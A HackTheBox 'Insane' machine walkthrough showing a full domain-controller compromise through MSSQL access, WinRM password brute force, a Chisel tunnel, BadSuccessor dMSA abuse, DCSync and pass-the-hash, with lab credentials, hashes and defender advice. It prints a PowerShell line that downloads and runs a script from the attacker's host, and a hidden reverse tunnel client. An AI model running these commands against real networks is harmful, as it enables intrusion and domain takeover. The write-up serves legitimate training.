# Machine Information
- **Name:** Eighteen
- **Difficulty:** Insane
- **IP:** 10.129.x.x (changes on reset)
- **Domain:** eighteen.htb
- **DC:** DC01.eighteen.htb
- **OS:** Windows Server 2025 (Active Directory Domain Controller)
Flags:
- User: `d6002fb7ad0868e075f3508b2cbe34de`
- Root: `[REDACTED]`
---
# Complete Walkthrough
# 1. Reconnaissance & Initial Access
rustscan -a 10.129.x.x --ulimit 5000 |
# 2. MSSQL Enumeration
mssqlclient.py kevin:'iNa2we6haRj2gaw!'@10.129.x.x -windows-auth |
USE eighteen; |
Found user: adam.scott
# 3. Brute Force & User Flag
crackmapexec winrm 10.129.x.x -u adam.scott -p eighteen_passwords.txt |
cd C:\Users\adam.scott\Desktop |
User Flag: d6002fb7ad0868e075f3508b2cbe34de
# 4. Setup Chisel Tunnel
Kali:
sudo python3 -m http.server 80 |
Target:
Start-Process -FilePath "chisel.exe" -ArgumentList "client http://10.10.14.119:8001 R:1080:socks" -WindowStyle Hidden |
# 5. BadSuccessor Exploitation
IEX((New-Object Net.WebClient).DownloadString("http://10.10.14.119/BadSuccessor.ps1")) |
# 6. Kerberos Attack Chain
proxychains4 -f /etc/proxychains4.conf getTGT.py -dc-ip 10.129.9.150 eighteen.htb/adam.scott |
Output:
[*] EncryptionTypes.rc4_hmac:a44129cac1596b47da696a6a713c9665 |
Alternative (IP change):
export KRB5CCNAME=adam.scott.ccache |
# 7. CIFS & DCSync
export KRB5CCNAME='evil_dmsa$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache' |
Administrator Hash: 0b133be956bfaddf9cea56701affddec
# 8. Root Flag
evil-winrm -i DC01.eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddec |
cd C:\Users\Administrator\Desktop |
---
# Attack Summary
kevin → MSSQL → adam.scott → User Flag → BadSuccessor → Chisel |
Hashes:
- dMSA: `a44129cac1596b47da696a6a713c9665`
- Administrator: `0b133be956bfaddf9cea56701affddec`
---
Mrx0rd | Nov 18, 2025 | HackTheBox | 🎉 Pwned!
# Time Synchronization Script
Kerberos requires clock skew less than 5 minutes. Use this script to sync with the target DC:
fixtime.sh:
#!/bin/bash |
Usage:
chmod +x fixtime.sh |
---
# Attack Vector Explained
# BadSuccessor Vulnerability (CVE-2025-XXXX)
Vulnerability Details:
- **Affected System:** Windows Server 2025 with dMSA feature
- **Attack Type:** Privilege Escalation via PAC Inheritance
- **CVSS Score:** 9.8 (Critical)
How It Works:
1. dMSA Feature Introduction
- Windows Server 2025 introduced delegated Managed Service Accounts (dMSA)
- dMSAs support seamless migration from legacy service accounts
- During migration, dMSA inherits the PAC (Privilege Attribute Certificate) of the superseded account
2. The Vulnerability
- The KDC trusts the `msDS-ManagedAccountPrecededByLink` attribute without validation
- An attacker with CreateChild permission on any OU can create a malicious dMSA
- By setting `msDS-ManagedAccountPrecededByLink` to Administrator, the dMSA inherits all Administrator privileges
- The PAC includes SIDs of the superseded account and all its group memberships
3. Attack Requirements
- CreateChild permission on ANY Organizational Unit (commonly granted)
- Windows Server 2025 DC (dMSA feature available by default)
- NO actual dMSA usage required - feature just needs to exist
4. Attack Steps
5. Create dMSA with CreateChild permission |
11. Why It's Dangerous
- **Stealthy:** No changes to Administrator account or Domain Admins group
- **Easy:** Simple attribute modification, no complex exploitation
- **Wide Impact:** Any user with benign CreateChild permission can escalate
- **Default Config:** Works out-of-the-box on Windows Server 2025
---
# What We Learned
# Technical Skills
1. MSSQL Enumeration Without Sysadmin
- Using `xp_dirtree` for file system enumeration
- Leveraging `db_owner` role limitations
- SQL injection techniques aren't always needed
2. Advanced Kerberos Exploitation
- **S4U2Self:** Service-for-User-to-Self delegation
- **S4U2Proxy:** Service-for-User-to-Proxy delegation
- **PAC Manipulation:** Understanding Privilege Attribute Certificates
- **TGT/ST Chain:** Ticket Granting Ticket → Service Ticket workflow
- **Clock Synchronization:** Critical for Kerberos (5-minute window)
3. Tunneling & Pivoting
- **Chisel:** Fast SOCKS5 tunneling via reverse connection
- **Proxychains:** Routing Impacket tools through SOCKS proxy
- **DNS Resolution:** Handling domain name resolution through tunnels
- **Port Forwarding:** Dynamic vs static port forwarding
4. Active Directory Attack Techniques
- **DCSync:** DRSUAPI replication to extract credentials
- **Pass-the-Hash:** Authentication using NTLM hashes
- **dMSA Abuse:** Exploiting service account features
- **Kerberoasting Alternative:** Modern approach to service account attacks
5. Tool Mastery
- **Impacket v0.14.0:** Latest features including dMSA support
- **Evil-WinRM:** PowerShell remoting and file transfer
- **BadSuccessor.ps1:** Custom exploitation script
- **CrackMapExec:** Network service enumeration
# Security Concepts
1. Zero-Day Exploitation
- Exploiting newly discovered vulnerability in Windows Server 2025
- No public exploits initially available
- Understanding vulnerability research and PoC development
2. Least Privilege Principle Violation
- CreateChild permission seems harmless but enables domain compromise
- Shows importance of minimal necessary permissions
- Demonstrates defense-in-depth strategy importance
3. Detection Challenges
- No direct modifications to high-privilege accounts
- Standard AD auditing misses dMSA attribute changes
- Requires specific monitoring rules
4. Defense Mechanisms
- **Monitor Event IDs:** 5137 (dMSA creation), 5136 (attribute changes), 2946 (dMSA auth)
- **Audit Permissions:** Regular reviews of CreateChild permissions
- **Disable dMSA:** If not needed, disable the feature entirely
- **Network Segmentation:** Limit internal DC access
# Real-World Applications
1. Penetration Testing
- Assessing Windows Server 2025 environments
- Exploiting misconfigurations in modern AD features
- Demonstrating critical risk from benign permissions
2. Red Team Operations
- Stealthy privilege escalation technique
- Avoiding detection by traditional security tools
- Living off the land with native Windows features
3. Blue Team Defense
- Understanding modern AD attack vectors
- Implementing detection rules for dMSA abuse
- Prioritizing permission audits
4. Vulnerability Research
- Analyzing new Windows features for security flaws
- Understanding design-level vulnerabilities
- Contributing to the security community
---
# Key Takeaways
# Critical Lessons
1. New Features = New Attack Surface
- Windows Server 2025's dMSA feature introduced critical vulnerability
- Organizations should carefully evaluate new features before deployment
- Security audits should include new OS capabilities
2. Benign Permissions Can Be Dangerous
- CreateChild on OUs seems harmless but enables domain compromise
- Permission reviews should consider cumulative effects
- Defense-in-depth is essential
3. Kerberos Complexity = Exploitation Opportunity
- Deep understanding of Kerberos enables advanced attacks
- PAC inheritance creates trust without validation
- Time synchronization is critical for Kerberos attacks
4. Tunneling is Essential for Modern Pentesting
- Chisel provides reliable SOCKS5 tunneling
- Proxychains enables tool compatibility
- Network isolation can be bypassed with proper pivoting
5. Tool Updates Matter
- Impacket v0.14.0 includes dMSA support
- Older versions wouldn't work for this attack
- Keeping tools updated is crucial for modern exploitation
# For Defenders
- **Audit dMSA Usage:** Monitor creation and authentication events
- **Restrict CreateChild:** Limit who can create objects in OUs
- **Enable Advanced Logging:** Event IDs 5137, 5136, 2946
- **Consider Disabling dMSA:** If not in use, disable the feature
- **Network Segmentation:** Isolate DCs and limit WinRM access
# For Attackers
- **Research New Features:** Windows Server 2025 introduced exploitable features
- **Master Kerberos:** Deep knowledge enables advanced attacks
- **Use Modern Tools:** Impacket v0.14.0+ required for dMSA support
- **Time Matters:** Kerberos requires proper time synchronization
- **Pivot Properly:** Chisel + Proxychains for reliable tunneling
---
# Resources & References
Tools Used:
- [Impacket v0.14.0](https://github.com/fortra/impacket) - Essential for dMSA attacks
- [Chisel](https://github.com/jpillora/chisel) - SOCKS5 tunneling
- [Evil-WinRM](https://github.com/Hackplayers/evil-winrm) - PowerShell remoting
- [BadSuccessor.ps1](https://github.com/Akamai/BadSuccessor) - dMSA exploitation tool
- [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - Network enumeration
Research Papers:
- [Akamai BadSuccessor Research](https://www.akamai.com/blog/security-research/badsuccessor-windows-server-2025-dmsa-privilege-escalation)
- [Microsoft dMSA Documentation](https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/dmsa-overview)
- [Kerberos S4U Extensions](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/)
Learning Resources:
- [Understanding PAC in Kerberos](https://www.thehacker.recipes/ad/movement/kerberos/pac)
- [Active Directory Security Blog](https://adsecurity.org/)
- [SpecterOps Research](https://posts.specterops.io/)
---
Author: Mrx0rd
Date: November 18, 2025
Difficulty: Insane
Platform: HackTheBox
Machine: Eighteen (Windows Server 2025)
🎯 Happy Hacking! 🚀
---
*"In the world of cybersecurity, yesterday's advanced feature is today's critical vulnerability."*